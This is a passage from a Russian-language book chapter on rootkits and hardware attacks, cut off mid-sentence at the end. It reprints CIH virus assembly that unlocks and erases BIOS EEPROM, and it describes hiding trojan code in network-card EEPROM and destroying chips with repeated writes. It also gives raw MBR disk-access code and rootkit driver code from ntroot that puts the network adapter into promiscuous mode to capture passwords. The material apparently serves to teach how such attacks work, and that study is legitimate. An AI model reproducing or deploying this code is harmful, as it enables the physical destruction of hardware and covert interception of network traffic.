Вирус CIH является самым “знаменитым” вирусом, который предназначен для
перезаписи памяти EEPROM на аппаратных устройствах. Вирус CIH позволяет
проводить атаки только на материнские платы, совместимые с чипсетом 430TX.
Здесь мы представим несколько фрагментов кода вируса CIH, которые позволяют
записывать данные в память BIOS. Обратите внимание, что операции выполняются
в отношении регистра конфигурационных данных для чипсета 430TX. В зависимо>
сти от значений, записанных через этот порт в виртуальную память, отображаются
различные области памяти EEPROM. Вирус “проходит” несколько областей памяти
и пытается уничтожить всю хранящуюся там информацию.
; **********************************
; * Уничтожение памяти BIOS EEPROM *
; **********************************
mov
lea

bp, 0cf8h
esi, IOForEEPROM-@7[esi]

; ***********************
;
;
;
;
;

* Показать страницу
*
* BIOS в диапазоне
*
* 000E0000 - 000EFFFF *
*
(
64 KB
)
*
***********************
mov
mov
cli
call

edi, 8000384ch
dx, 0cfeh
esi

; ***********************
;
;
;
;
;

* Показать страницу
*
* BIOS в диапазоне
*
* 000F0000 - 000FFFFF *
*
(
64 KB
)
*
***********************
mov
dec
mov
call

di, 0058h
edx
; and al,0fh
word ptr (BooleanCalculateCode-@10)[esi], 0f24h
esi

; ***********************
; * Показать данные BIOS *
; * Extra ROM в памяти
*

Наборы средств для взлома
;
;
;
;
;
;

* 000E0000 - 000E01FF *
*
(
512 Bytes
) *
* , и в область памяти *
* Extra BIOS можно
*
* записывать данные... *
************************
lea
mov
mov
call
mov
push
loop

ebx,
eax,
ecx,
ebx
byte
ecx
$

EnableEEPROMToWrite-@10[esi]
0e5555h
0e2aaah
ptr [eax], 60h

; **************************
;
;
;
;
;

* Уничтожить данные BIOS *
* Extra ROM в памяти
*
* 000E0000 - 000E007F
*
*
(
80h Bytes
)
*
**************************
xor
mov

ah, ah
[eax], al

xchg
loop

ecx, eax
$

; ************************
;
;
;
;
;
;

* Показать и сделать
*
* данные BIOS Main ROM *
* 000E0000 - 000FFFFF *
*
(
128 KB
)
*
* доступными для записи*
************************
mov
pop
mov
call
mov
loop

eax, 0f5555h
ecx
ch, 0aah
ebx
byte ptr [eax], 20h
$

; **************************
;
;
;
;
;

* Уничтожить данные BIOS *
*
Main ROM в памяти
*
*
000FE000 - 000FE07F *
*
(
80h Bytes
)
*
**************************
mov
mov

;
;
;
;
;
;

ah, 0e0h
[eax], al

************************
* Скрыть страницу BIOS *
* в диапазоне адресов *
* 000F0000 - 000FFFFF *
*
(
64 KB
)
*
************************
mov
call

; or al,10h
word ptr (BooleanCalculateCode-@10)[esi], 100ch
esi

365

366

Глава 8

; ************************************
; * Разрешить запись в память EEPROM *
; ************************************
EnableEEPROMToWrite:
mov
[eax], cl
mov
[ecx], al
mov
byte ptr [eax], 80h
mov
[eax], cl
mov
[ecx], al
ret
; ************************************
; * Операции ввода-вывода для EEPROM *
; ************************************
IOForEEPROM:
@10
=
IOForEEPROM
xchg
eax, edi
xchg
edx, ebp
out
dx, eax
xchg
eax, edi
xchg
edx, ebp
in
al, dx
BooleanCalculateCode
=
or
al, 44h
xchg
eax, edi
xchg
edx, ebp
out
dx, eax
xchg
eax, edi
xchg
edx, ebp
out
dx, al
ret

$

Память EEPROM и синхронизация
Синхронизация, или согласование по времени, имеет огромное значение для опе>
раций с памятью EEPROM. Расскажем одну веселую историю. Хакер написал про>
грамму атаки для затирания памяти EEPROM в маршрутизаторе Cisco. Однако в
оригинальный код программы атаки он не добавил таймер. В результате его код ока>
зался слишком быстрым и он перезаписывал только каждый пятый байт! Решение
проблемы заключалось в замедлении операций записи с помощью добавления за>
держки в несколько сотен миллисекунд между каждой операцией. Каждая микро>
схема немного отличается, и приходится определять значение задержки, необходи>
мой для операций чтения и записи, конкретно для каждой микросхемы.
В этом фрагменте кода выполняется операция чтения для памяти EEPROM сете>
4
вого адаптера Ethernet 3>Com 3C5x9 . Обратите внимание на вызов для создания за>
держки в 162 мс.
/* Чтение памяти EEPROM. */
for (i = 0; i < 16; i++) {
outw(EEPROM_READ + i, ioaddr + 10);
/* Останавливаемся на 162 мс перед операцией чтения. */
usleep(162);
4

Этот код был взят из драйвера Linux, обнаруженного в файле 3c509.c. В операционных
системах с открытым исходным кодом доступно множество информации о различных драй
верах. — Прим. авт.

Наборы средств для взлома

367

eeprom_contents[i] = inw(ioaddr + 12);

}

printf("EEPROM index %d: %4.4x.\n",
I,
eeprom_contents[i]);

Память EEPROM на сетевых адаптерах Ethernet
Вредоносный код можно внедрить в память EEPROM на сетевом адаптере
Ethernet. Это оптимальная платформа для атаки, поскольку в данном случае пакеты
можно анализировать и создавать при непосредственном доступе к сети. На стан>
дартном контроллере Ethernet есть микросхема ASIC, которая обрабатывает прак>
тически все данные пакета. Внутри микросхемы ASIC есть процессор, который мы
называем микромашиной (micromachine) или мини>процессором. В этом мини>
процессоре используется набор команд подобно тому, как это делается в обычном
процессоре. При доставке пакета по интерфейсу вызываются специальные подпро>
граммы. Эти подпрогораммы написаны на машинном коде минипроцессора. Безус>
ловно, машинные коды таких минипроцессоров являются секретом каждого по>
ставщика. Для получения доступа к этой информации может потребоваться подпи>
сать с поставщиком соглашение о неразглашении секретной информации, поэтому
мы не можем напечатать в этой книге конкретные машинные коды. Однако мы мо>
жем рассказать о теоретических возможностях проведения атак.
На контроллере сетевого адаптера Ethernet может быть установлена флэш>
память и (или) память EEPROM, которые поддаются перепрограммированию с по>
мощью драйвера устройства. Например, в сетевом адаптере Ethernet Intel InBusiness
10/100 используется память EEPROM, в которую можно записать данные с помо>
щью программных средств. Этот адаптер работает на базе микросхемы контроллера
Ethernet 82559. В этой микросхеме ASIC содержится мини>процессор и несколько
буферов для хранения пакетов. К чипу 82559 подключена небольшая последова>
тельная память EEPROM, конкретно ATMEL 93C46. Эта память способна хранить
64 16>битовых слова, т.е. ее размер составляет 128 Кбайт.
Воспользовавшись этой информацией, мы можем скрыть программный код в па>
мяти EEPROM на сетевом адаптере Ethernet или даже полностью перезаписать эту
память. Поскольку последовательная память EEPROM не подключена непосредст>
венно к адресной шине компьютера, мы не сможем обращаться к ней непосредствен>
но. Однако чип 82559 предоставляет память EEPROM для проведения операций
чтения/записи с помощью управляющего регистра 82559. Адресное пространство
для чипа 82559 управляется посредством чипсета PCI на материнской плате. Как
только мы узнаем базовый адрес нашего чипа, то получим возможность доступа к
различным регистрам. Адрес конкретного регистра вычисляется как смещение отно>
сительно базового адреса.
Регистры чипа 82559

Смещение

STATUS

0

COMMAND

2

POINTER

4

указатель общего назначения

PORT

8

различные команды

368

Глава 8
FLASH

12

доступ к флэш-памяти

EEPROM

14

доступ к последовательной памяти EEPROM

CTRLMDI

16

управление интерфейсом MDI

EARLYRX

20

технология опережающего прерывания
(Early receive byte count)

В следующей таблице перечислены управляющие байты для чипа 82559.
Команда

Значение

NOP

0

SETUP

0x1000

CONFIG

0x2000

MULTLIST

0x3000

TRANSMIT

0x4000

TDR

0x5000

DUMP

0x6000

DIAG

0x7000

SUSPEND

0x40000000

INTERRUPT

0x20000000

FLEXMODE

0x80000

список широковещательной рассылки

Диагностика

Смещение для порта памяти EEPROM составляет 14 байт от базового адреса для
чипа 82559 в памяти. Можно непосредственно отправлять команды на порт
EEPROM и объединять эти команды с помощью команды or.
Команда

Значение

SHIFT_CLK

0x01

CS

0x02

shift clock

WRITE

0x04

EEPROM chip select

READ

0x08

ENABLE

0x4802

Для отправки команд последовательной памяти EEPROM программное обеспе>
чение должно выполнять операции приведенные ниже. В нашей лаборатории на тес>
товой системе память чипа 82559 отображалась по адресу 0x3000. Таким образом,
при выполнении операций этот адрес использовался в качестве базового. Для реги>
стра доступа к памяти EEPROM смещение составляет 14 байт от этого адреса, т.е. он
находится по адресу 0x300E. Обратите внимание, что команды для управления па>
мятью EEROM объединены с помощью оператора or.
OUT( ENABLE | SHIFT_CLK, 0x300E );
// составление 2-байтовой команды
OUT( command, 0x300E );
// задержка для памяти EEPROM
OUT( SHIFT_CLK, 0x300E );
// задержка для памяти EEPROM

Наборы средств для взлома

369

response_code = IN(0x300E);
OUT( ENABLE, 0x300E );
OUT( ENABLE | SHIFT_CLK, 0x300E ); // завершение доступа к EEPROM

Чтобы определить, как работают конкретные аппаратные устройства, можно вос
пользоваться восстановленным исходным кодом драйверов или драйверами с от
крытым исходным кодом. Для операционной системы Linux создано бесчисленное
количество драйверов, что является прекрасным пособием по изучению управляю
щих кодов и смещений для конкретных устройств. Например, рассмотрим краткий
5
фрагмент кода драйвера 3C509 для операционной системы Linux, в котором проде
монстрированы операции записи в память EEPROM, установленную на сетевом
адаптере Ethernet 3C509.
static void write_eeprom(short ioaddr, int index, int value)
{
outw(value, ioaddr + 12);
outw(EEPROM_EWENB, ioaddr + 10);
usleep(60);
outw(EEPROM_ERASE + index, ioaddr + 10);
usleep(60);
outw(EEPROM_EWENB, ioaddr + 10);
usleep(60);
outw(value, ioaddr + 12);
outw(EEPROM_WRITE + index, ioaddr + 10);
usleep(10000);
}

При исследовании исходного кода драйвера легко заметить, что во многих значе
ниях используются смещения битов и маски. Причина заключается в том, что для
портов вводавывода обычно используются поля очень небольшого размера в битах.
Чтобы определить точную команду, следует обратиться к спецификации конкретной
микросхемы памяти EEPROM.
Большинство чипов памяти EEPROM не используются в полном объеме адапте
ром. В таких “тайниках” неиспользованного пространства можно спрятать данные. В
некоторых случаях флэшпамять или память EEPROM может содержать машинные
коды, которые используются нашим минипроцессором устройства. В этом случае
можно изменить машинные коды для создания копий определенных пакетов и их
ретрансляции в сеть. Это довольно коварная хитрость, поскольку после перезаписи
машинных кодов они уже не изменяются. Другими словами, после переустановки
операционной системы “потайной ход” остается открытым. И даже при установке
сетевого адаптера Ethernet в другой компьютер, в ее памяти будет оставаться
“троянский” код.

Последовательная или параллельная память EEPROM
Последовательная память EEPROM не слишком удобна изза последовательного
характера операций чтениязаписи. Для этой памяти используется специальная ши
на I2C (InterIC bus). Последовательная память EEPROM работает медленнее ана
логичной параллельной памяти. Обычно для операций используются два контакта,
но в некоторых микросхемах для этой цели используются четыре провода.

5

И снова этот код был нами позаимствован из драйвера Linux из файла 3c509.c. —
Прим. авт.

370

Глава 8

С другой стороны, доступ к параллельной памяти EEPROM может осуществ>
ляться как к статической RAM>памяти и эту память можно подключить к адресной
шине. В некоторых случаях доступ к микросхемам EEPROM для записи/чтения
возможен только посредством чипа PCI контроллера ввода>вывода.

Как сгорают аппаратные средства
Микросхемы последовательной памяти EEPROM можно назвать ахиллесовой
пятой аппаратных средств, т.к. из>за них устройства, в которых они установлены,
могут быть уничтожены с помощью вирусов. В прошлом хакеры уничтожали аппа>
ратные средства с помощью вирусов, устанавливая высокие тактовые частоты на ви>
деокартах или путем парковки головок жесткого диска и последующей команды по>
иска. Теперь многие их этих хитростей не срабатывают. Однако можно написать ви>
рус, который записывает данные в память EEPROM с использованием
разрушающего цикла. Дело в том, что многие микросхемы рассчитаны только на оп>
ределенное количество операций записи (например 1 миллион) на один байт. Это
означает, что менее чем за час можно полностью уничтожить микросхему.
Последовательная память EEPROM используется все чаще в современных уст>
ройствах, поэтому шансы на физическое уничтожение устройства с помощью про>
граммного обеспечения продолжают увеличиваться. Довольно сложно провести от>
ладку скомпрометированной памяти EEPROM, в которой присутствуют ошибки,
ведь поскольку микросхема EEPROM закреплена на поверхности материнской пла>
ты, то даже при обнаружении ошибки замена микросхемы является сложной и доро>
гостоящей.

Производители
Ниже приведен сокращенный список производителей микросхем памяти
EEPROM. Для получения более подробной информации наши читатели могут обра>
титься непосредственно к спецификациям устройств от производителей. Для храб>
рецов, которые способны открыть корпус устройства, мы даже указали номера мик>
росхем. Некоторые хакеры даже исследуют каждую микросхему с помощью малень>
кого фонарика в поисках идентификационных меток.
Amtel
AT28XXX
Fairchild semiconductor
National Semiconductor
93CXXX
Microchip
24CXXX
Крупными устройствами являются 24C32, 24C64, 24C128, 24C256,
24C5412, 24C04, 24C08, 24C16.
Для них требуются поля с двухбайтовыми полями адреса.
93CXXX
SIEMENS
SDEXXX
SDAXXX

Наборы средств для взлома

371

Другие
24CXXX
24XX
AT17XXX
AT90XXX

Обнаружение устройств с помощью спецификации CFI
Еще одним полезным качеством для хакера является возможность создания про>
граммного кода для сканирования карты распределения памяти (memory map) и об>
наружения RAM>устройств. Командой запроса доступа является 0x98, а командой
перехода в режим JEDEC ID — 0x90. В базовый адрес устройства записывается код
запроса доступа 0x98 плюс смещение 0x55. Устройство должно находиться в ре>
жиме чтения. В зависимости от ширины шины, записываемое значение должно быть
0x98, 0x0098 или 0x00000098. Можно также попробовать значения 0x98, 0x9898
или 0x98989898. Некоторые флэш>устройства игнорируют адрес и переходят в ре>
жим запроса, если получат значение 0x98 по шине данных. Базовым адресом также
может быть 0x55, 0xAA или 0x154h.
После установления режима запроса микросхема должна показать символы QR
или QRY по смещению 0x10. Затем следует 16>битовое значение идентификатора
поставщика по адресу 0x13. Затем может следовать дополнительная информация об
устройстве или поставщике. Использование режима запроса позволяет хакеру точно
определить, с каким устройством он имеет дело. Спецификация CFI описана в печа>
ти и общедоступна.
Ниже приведен перечень 16>битовых идентификаторов поставщиков.
0

NULL

1

Intel/Sharp

2

AMD/Fujitsu

3

Intel

4

AMD/Fujitsu

256

Mitsubishi

257

Mitsubishi

258

SST

Пример обнаружения флэш-памяти
1. Переводим устройство в режим запроса
A. base+0x55 = 0x98
B. base+0xAA = 0x9898
2. Базовый адрес + 10 == 'QRY'
3. Является ли устройство ОЗУ?
A. Выполняем операцию записи и затем чтение.
B. Если это сработало, возвращаем оригинальный байт.

372

Глава 8

Определение устройств с помощью режима ID или JEDEC ID
Метод использования режима JEDEC — более старый метод по сравнению с ис>
пользованием спецификации CFI. Однако некоторые устаревшие устройства могут
быть обнаружены именно по этому методу. Определяются производитель и устрой>
ство. Ниже приведено несколько фрагментов кода, в которых запрашивается ин>
6
формация JEDEC. Следующий пример кода взят из дистрибутива MTD>Linux .
/* Сброс */
jedec_reset(base, map, cfi);
/* Режим автовыбора */
if(cfi->addr_unlock1) {
cfi_send_gen_cmd(0xaa, cfi->addr_unlock1, base, map, cfi,
CFI_DEVICETYPE_X8, NULL);
cfi_send_gen_cmd(0x55, cfi->addr_unlock2, base, map, cfi,
CFI_DEVICETYPE_X8, NULL);
}
cfi_send_gen_cmd(0x90, cfi->addr_unlock1, base, map, cfi,
CFI_DEVICETYPE_X8,
NULL);
продолжается
static inline u32 jedec_read_mfr(struct map_info *map, __u32 base,
struct cfi_private *cfi)
{
u32 result, mask;
mask = (1 device_type * 8)) -1;
result = cfi_read(map, base);
result &= mask;
return result;
}
static inline u32 jedec_read_id(struct map_info *map, __u32 base,
struct cfi_private *cfi)
{
int osf;
u32 result, mask;
osf = cfi->interleave *cfi->device_type;
mask = (1 device_type * 8)) -1;
result = cfi_read(map, base + osf);
result &= mask;
return result;
}
static inline void jedec_reset(u32 base, struct map_info *map,
struct cfi_private *cfi)
{
/* Сброс */
cfi_send_gen_cmd(0xF0, 0, base, map, cfi, cfi->device_type, NULL);
/* Несколько некорректно настроенных чипов Intel не отвечают на 0xF0,
* для сброса, поэтому гарантируем, что мы в режиме чтения.
* Отправляем обе команды для Intel и AMD.
* В Intel для этой цели используется 0xff, в AMD 0xff является,
* командой nop, поэтому все будет нормально.
*/
cfi_send_gen_cmd(0xFF, 0, base, map, cfi, cfi->device_type, NULL);
/* Производители */
#define MANUFACTURER_AMD
0x0001
#define MANUFACTURER_ATMEL
0x001f
#define MANUFACTURER_FUJITSU
0x0004
6

Этот код взят из файла jedec_probe.c дистрибутива MTDLinux. — Прим. авт.

Наборы средств для взлома
#define
#define
#define
#define
#define

373

MANUFACTURER_INTEL
0x0089
MANUFACTURER_MACRONIX
0x00C2
MANUFACTURER_ST
0x0020
MANUFACTURER_SST
0x00BF
MANUFACTURER_TOSHIBA
0x0098

/* AMD */
#define AM29F800BB 0x2258
#define AM29F800BT 0x22D6
#define AM29LV800BB 0x225B
/* Fujitsu */
#define MBM29LV650UE 0x22D7
#define MBM29LV320TE 0x22F6
}

В завершение нашего обсуждения относительно аппаратных средств, можно ска>
зать, что микросхемы EEPROM остаются основной областью для записи вредонос>
ного кода. Когда на рынке появится больше встроенных устройств, вирусы для атаки
на память EEPROM станут более распространенными и более опасными. Существу>
ет совершенно законный код, с помощью которого можно запрашивать устройства
EEPROM и выполнять операции. Тем читателям, которые хотят поэкспериментиро>
вать с программным кодом для памяти EEPROM, потребуется несколько тестовых
машин со встроенной памятью EEPROM. Много материала для экспериментов
можно получить из программного кода для драйверов Windows и Linux.

Низкоуровневый доступ к диску
Еще одной традиционной областью для сохранения вирусов являются блоки за>
грузочного кода, а также гибкие и жесткие диски. Любопытно, что эти методы рабо>
тают по сей день, причем достаточно просто получить доступ к блоку загрузочного
кода на диске. В следующих примерах программного кода продемонстрирован до>
вольно простой метод для чтения и записи данных в главную загрузочную запись
системы под управлением Windows NT.

Операции чтения/записи для главной
загрузочной записи (MBR)
Доступ к главной загрузочной записи невозможен без низкоуровневого доступа с
правами чтения/записи непосредственно к физическому диску. Воспользовавшись
вызовом функции CreateFile и указав имя соответствующего объекта, можно по>
лучить доступ к любому диску системы. В следующем коде продемонстрировано,
как открыть дескриптор для физического доступа к первому диску в системе, а затем
прочесть первые 512 байт информации, хранящейся на этом диске. В этом прочи>
танном блоке данных хранится содержимое первого сектора диска, который больше
известен под названием MBR (главная загрузочная запись).
char mbr_data[512];
DWORD dwBytesRead;
HANDLE hDriver = CreateFile("\\\\.\\physicaldrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0,

374

Глава 8
OPEN_EXISTING,
0,
0);

ReadFile( hDriver, &mbr_data, 512, &dwBytesRead, NULL );

Искажение данных в образах компакт-дисков
В компакт>дисках используется файловая система ISO 9660. Как и гибкие диски,
эти диски тоже можно “инфицировать” вирусными программами. Вирус, записан>
ный на загрузочном компакт>диске, будет активироваться при загрузке. Еще одним
вариантом атаки является использование файла autorun.inf. Этот файл управля>
ет автоматическим запуском программ при установке компакт>диска. Эта возмож>
ность часто устанавливается по умолчанию. И наконец, файлы на компакт>диске
можно “заразить” с помощью стандартных методов. И нет ничего, что могло бы ос>
тановить вирус или набор средств от взлома в лостижении доступа к компакт>диску
7
CD>R и записи информации на записываемый компакт>диск .

Добавление к драйверу возможности
доступа по сети
Предоставление возможности доступа по сети к создаваемому хакером “драйве>
ру”, в котором содержится набор средств для взлома, можно назвать завершающим,
но одним из важнейших действий, которое позволяет удаленно обращаться к вредо>
носному коду. Можно встроить TCP/IP>стек в драйвер и открыть доступ к удален>
ному командному интерпретатору. Этой возможностью обладает программа отладки
на уровне ядра под названием SoftIce. В набор средств для взлома ntroot, который
доступен на сайте www.rootkit.com, входит пример программного кода, предос>
тавляющего доступ к командному интерпретатору по TCP/IP. В системе Win>
dows NT не представляет особого труда добавить возможность доступа по сети, вос>
пользовавшись библиотекой NDIS.

Использование библиотеки NDIS
Компания Microsoft разработала библиотеку для обеспечениявозможности
реализовывать в драйверах устройств собственные стеки, независимые от сетевого
адаптера. Мы можем использовать эту библиотеку для создания стека и организа>
ции взаимодействия по сети. Это только один из способов, благодаря которым
вредоносный драйвер позволяет обеспечить создание интерактивного командного
интерпретатора.
На первом этапе использования NDIS необходимо зарегистрировать набор
функций обратного вызова. В следующем примере значения OnXXX являются указа>
8
телями к функциям обратного вызова .
7

Более подробные сведения о заражении образов компактдисков можно найти в журнале
29A Labs, статья 6.
8
Полные варианты этих примеров доступны на сайте http://www.rootkit.com.

Наборы средств для взлома
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
NDIS_PROTOCOL_CHARACTERISTICS
aProtocolChar;
UNICODE_STRING aDriverName;
// DD
/*
* инициализация сетевого анализатора пакетов - это стандартная
* процедура, документированная DDK.
*/
RtlZeroMemory( &aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
aProtocolChar.MajorNdisVersion
= 3;
aProtocolChar.MinorNdisVersion
= 0;
aProtocolChar.Reserved
= 0;
aProtocolChar.OpenAdapterCompleteHandler = OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler
= OnSendDone;
aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;
aProtocolChar.ResetCompleteHandler
= OnResetDone;
aProtocolChar.RequestCompleteHandler
= OnRequestDone;
aProtocolChar.ReceiveHandler
= OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler
= OnReceiveDoneStub;
aProtocolChar.StatusHandler
= OnStatus;
aProtocolChar.StatusCompleteHandler
= OnStatusDone;
aProtocolChar.Name
= aProtoName;
DbgPrint("ROOTKIT: Регистрация NDIS протокола\n");
NdisRegisterProtocol( &aStatus,
&aNdisProtocolHandle,
&aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
if (aStatus != NDIS_STATUS_SUCCESS) {
DbgPrint(("DriverEntry: ERROR NdisRegisterProtocol failed\n"));
return aStatus;
}
aDriverName.Length = 0;
aDriverName.Buffer = ExAllocatePool( PagedPool, MAX_PATH_LENGTH );
aDriverName.MaximumLength = MAX_PATH_LENGTH;
RtlZeroMemory(aDriverName.Buffer, MAX_PATH_LENGTH);
/* ___________________________________________________________
* получаем имя драйвера MAC-уровня
* и имя драйвера пакетов
* HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage ..
* _______________________________________________________________ */
if (ReadRegistry( &aDriverName ) != STATUS_SUCCESS) {
goto RegistryError;
}
...
NdisOpenAdapter(

&aStatus,
&aErrorStatus,
&anOpenP->AdapterHandle,
&aDeviceExtension->Medium,
&aMediumArray,
1,
aDeviceExtension->NdisProtocolHandle,
anOpenP,
&aDeviceExtension->AdapterName,

375

376

Глава 8
0,
NULL);

}

if (aStatus != NDIS_STATUS_PENDING)
{
OnOpenAdapterDone(
anOpenP,
aStatus,
NDIS_STATUS_SUCCESS
);

...
}

Первый вызов выполняется к функции NdisRegisterProtocol, с помощью
которой осуществляется регистрация наших функций обратного вызова. Вторым
вызовом является вызов функции ReadRegistry (объяснение будет дано позже),
благодаря чему мы узнаем имя для привязки сетевого адаптера. Эта информация
используется для инициализации расширенной структуры устройства, которая за>
тем используется в вызове функции NdisOpenAdapter. При успешном завершении
вызова функции мы должны вручную вызвать функцию OnOpenAdapterDone.
Возвращение этой функцией значения NDIS_STATUS_PENDING свидетельствует о
том, что операционная система выполняет вызов функции OnOpenAdapterDone от
нашего имени.

Перевод интерфейса в неразборчивый режим
Когда сетевой адаптер работает в неразборчивом режиме, он перехватывает все
пакеты, которые физически доставляются на интерфейс независимо от адреса по>
лучателя. Это удобно, когда хакер хочет просматривать пакеты, которые переда>
ются на другие компьютеры локальной сети. Мы переводим сетевой адаптер в не>
разборчивый режим, что позволяет нам перехватывать пароли и другую служеб>
ную информацию, передаваемую по сети. Для этой цели используется функция
OnOpenAdapterDone. Для перевода сетевого интерфейса в неразборчивый режим
мы используем функцию NdisRequest.
VOID
OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN NDIS_STATUS OpenErrorStatus )
{
PIRP
Irp = NULL;
POPEN_INSTANCE
Open = NULL;
NDIS_REQUEST
anNdisRequest;
BOOLEAN
anotherStatus;
ULONG
aMode = NDIS_PACKET_TYPE_PROMISCUOUS;
DbgPrint("ROOTKIT: вызывается OnOpenAdapterDone\n");
/* устанавливаем сетевой адаптер в неразборчивый режим */
if(gOpenInstance){
//
// Инициализируем событие
//
NdisInitializeEvent(&gOpenInstance->Event);
anNdisRequest.RequestType = NdisRequestSetInformation;

Наборы средств для взлома

377

anNdisRequest.DATA.SET_INFORMATION.Oid =
OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION.InformationBufferLength =
sizeof(ULONG);
NdisRequest( &anotherStatus,
gOpenInstance->AdapterHandle,
&anNdisRequest
);
}
return;
}

Обнаружение нужного сетевого адаптера
В операционной системе Windows информация о сетевых адаптерах хранится в
следующем ключе реестра.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards

В этом ключе доступно несколько пронумерованных значений подключей. Каж>
дое число соответствует сетевому адаптеру. В каждом подключе хранится очень
важное значение ServiceName. Это значение представляет собой строку, в которой
содержится идентификатор GUID, необходимый для доступа к сетевому адаптеру.
Нашему вредоносному драйверу нужно предоставить одну из этих GUID>строк,
чтобы установить привязку к сетевому адаптеру посредством NDIS.
В следующем фрагменте кода мы получаем GUID>значение для первого в списке
9
сетевого интерфейса .
/* Основная работа по получению значения подключа */
NTSTATUS
EnumSubkeys(
IN PWSTR theRegistryPath,
IN PUNICODE_STRING theStringP
)
{
//---------------------------------------------------// для доступа к основному ключу
HANDLE hKey;
OBJECT_ATTRIBUTES oa;
NTSTATUS Status;
UNICODE_STRING ParentPath;
// для получения подключа
KEY_BASIC_INFORMATION Info;
PKEY_BASIC_INFORMATION pInfo;
ULONG ResultLength;
ULONG Size;
PWSTR Position;
PWSTR FullName;
// для запроса значения
RTL_QUERY_REGISTRY_TABLE aParamTable[2];
//---------------------------------------------------DbgPrint("rootkit: введенная EnumSubkeys()\n");
__try
{
9

Этот код также взят с сайта http://www.rootkit.com как часть драйвера с набо
ром средств для взлома ntroot. — Прим. авт.

378

Глава 8
RtlInitUnicodeString(&ParentPath, theRegistryPath);
/*
** Сначала попытаемся открыть этот ключ
*/
InitializeObjectAttributes(&oa,
&ParentPath,
OBJ_CASE_INSENSITIVE,
NULL,
(PSECURITY_DESCRIPTOR)NULL);
Status = ZwOpenKey(&hKey,
KEY_READ,
&oa);
if (!NT_SUCCESS(Status)) {
return Status;
}
/*
** Сначала определяем размер данных подключа.
*/
Status = ZwEnumerateKey(hKey,
0,
KeyBasicInformation,
&Info,
sizeof(Info),
&ResultLength);
if (Status == STATUS_NO_MORE_ENTRIES || NT_ERROR(Status)) {
return Status;
}
Size = Info.NameLength + FIELD_OFFSET(KEY_BASIC_INFORMATION, Name[0]);
pInfo = (PKEY_BASIC_INFORMATION)
ExAllocatePool(PagedPool, Size);
if (pInfo == NULL) {
Status = STATUS_INSUFFICIENT_RESOURCES;
return Status;
}
/*
** Теперь вычисляем первый подключ.
*/
Status = ZwEnumerateKey(hKey,
0,
KeyBasicInformation,
pInfo,
Size,
&ResultLength);
if (!NT_SUCCESS(Status)) {
ExFreePool((PVOID)pInfo);
return Status;
}
if (Size != ResultLength) {
ExFreePool((PVOID)pInfo);
Status = STATUS_INTERNAL_ERROR;
return Status;
}
/*
** Генерируем полное имя и значения запросов.
*/

Наборы средств для взлома

379

FullName = ExAllocatePool(PagedPool,
ParentPath.Length +
sizeof(WCHAR) +
// '\'
pInfo->NameLength + sizeof(UNICODE_NULL));
if (FullName == NULL) {
ExFreePool((PVOID)pInfo);
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlCopyMemory((PVOID)FullName,
(PVOID)ParentPath.Buffer,
ParentPath.Length);
Position = FullName + ParentPath.Length / sizeof(WCHAR);
Position[0] = '\\';
Position++;
RtlCopyMemory((PVOID)Position,
(PVOID)pInfo->Name,
pInfo->NameLength);
Position += pInfo->NameLength / sizeof(WCHAR);
Position[0] = UNICODE_NULL;
ExFreePool((PVOID)pInfo);
/*
** Получение значения для привязки.
**
*/
RtlZeroMemory( &aParamTable[0], sizeof(aParamTable) );
aParamTable[0].Flags =

RTL_QUERY_REGISTRY_DIRECT |
RTL_QUERY_REGISTRY_REQUIRED;
aParamTable[0].Name = L"ServiceName";
aParamTable[0].EntryContext = theStringP; /* будет выделено */
//
//
//
//

Поскольку мы используем REQUIRED и DIRECT,
не нужно использовать значения по умолчанию.
Важное замечание!,последняя запись ALL NULL,
необходима, чтобы узнать об окончании вызова. НЕ забывайте об этом!

Status=RtlQueryRegistryValues(
RTL_REGISTRY_ABSOLUTE | RTL_REGISTRY_OPTIONAL,
FullName,
&aParamTable[0],
NULL,
NULL );
ExFreePool((PVOID)FullName);
return(Status);

}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("rootkit: Исключение в EnumSubkeys().
Неизвестная ошибка.\n");
}
return STATUS_UNSUCCESSFUL;
}
/* __________________________________________________________________
. В этом коде осуществляется чтение реестра с целью определить
. имя адаптера для сетевого интерфейса. Берется первое зарегистрированное имя
. независимо от общего количества. Лучше установить привязку
. ко всем именам, для простоты мы использовали только первое.
. _________________________________________________________________ */
NTSTATUS ReadRegistry( IN PUNICODE_STRING theBindingName ) {
NTSTATUS
aStatus;
UNICODE_STRING aString;

380

Глава 8

DbgPrint("ROOTKIT: вызывается ReadRegistry \n");
__try
{
aString.Length = 0;
aString.Buffer = ExAllocatePool( PagedPool, MAX_PATH_LENGTH );
/* осободи меня */
aString.MaximumLength = MAX_PATH_LENGTH;
RtlZeroMemory(aString.Buffer, MAX_PATH_LENGTH);
aStatus = EnumSubkeys(
L"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows" \
"NT\\CurrentVersion\\NetworkCards",
&aString );
if(!NT_SUCCESS(aStatus)){
DbgPrint(( "rootkit: ошибка в функции RtlQueryRegistryValues
Code = 0x%0x\n",aStatus));
}
else{
RtlAppendUnicodeToString(theBindingName, L"\\Device\\");
RtlAppendUnicodeStringToString(theBindingName, &aString);
ExFreePool(aString.Buffer);
return aStatus; /* were good */
}
return aStatus; /* last error */
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("rootkit: В ReadRegistry() произошло исключение.
Неизвестная ошибка. \n");
}
return STATUS_UNSUCCESSFUL;
}

Использовние тегов boron для обеспечения
безопасности хакера
Одна из полезных уловок хакера для сокрытия сетевого интерфейса, открытого с
